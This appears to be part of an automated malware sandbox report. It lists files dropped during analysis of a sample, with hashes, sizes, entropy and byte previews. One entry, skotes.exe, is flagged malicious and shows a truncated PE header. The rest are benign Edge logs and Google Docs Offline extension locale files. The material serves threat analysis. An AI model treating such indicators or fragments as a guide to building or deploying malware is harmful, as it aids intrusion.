SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIEGCAAKFBA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3123712
Entropy (8bit):	6.626190923521119
Encrypted:	false
SSDEEP:	49152:jWGWJ9i+5Z5WxbqKJ9D+Fh1sOmQmSTxJCsso:CGZ+75WFqKJ9CFbPgST1
MD5:	735B427034DFA1E8184D92B3E9E0E918
SHA1:	B975F1733334E5FE7F5B243AF277C443F2284959
SHA-256:	2CE67A1AC2F39FF149EE9F832A02B1E4208300DD7DB269C2ABDEA19D67E8FF00
SHA-512:	C161ECB540F6F96CC2141920BF73D2964B9D467C40321659D908FB12D7CAC130C1D15E927E45FBB58078EE2A5A0151D14883208EDB1F5F8E08E346A77F497721
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................../...........@.........................../......D0...@.................................W...k...........................X./.............................../..................................................... . ............................@....rsrc...............................@....idata ............................@...peszfxun..(.......(.................@...uoryxkfj....../......./.............@....taggant.0..../.."..../.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b857cfe5-4ab4-47cb-9f39-9c6fc849bc17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.407869956370801
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0xuRmu5il1K0xlCzL5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5A
MD5:	CC06F83A4DC21EC858BA09BF57493D62
SHA1:	99FE664790603E720DCB385990B088832ABCDEB8
SHA-256:	3BEA26CD69E5DDBB203AD4E0ACFC588C3E525B36C11748B9D61076CEB3601E3A
SHA-512:	62F6823EFF951660BC556847DFED5384CAE2E236267227B8231FE743CEFF1EBB8FC37589FF48C3D4EA4C6AD116526DCCF3F166B386DEADD98D8F99BB32C35449
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\ec948ed9-7891-4112-a1d4-605bd1d6b3d6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir1920_1685021146\CRX_INSTALL\_locales\el\messages.json

Download File

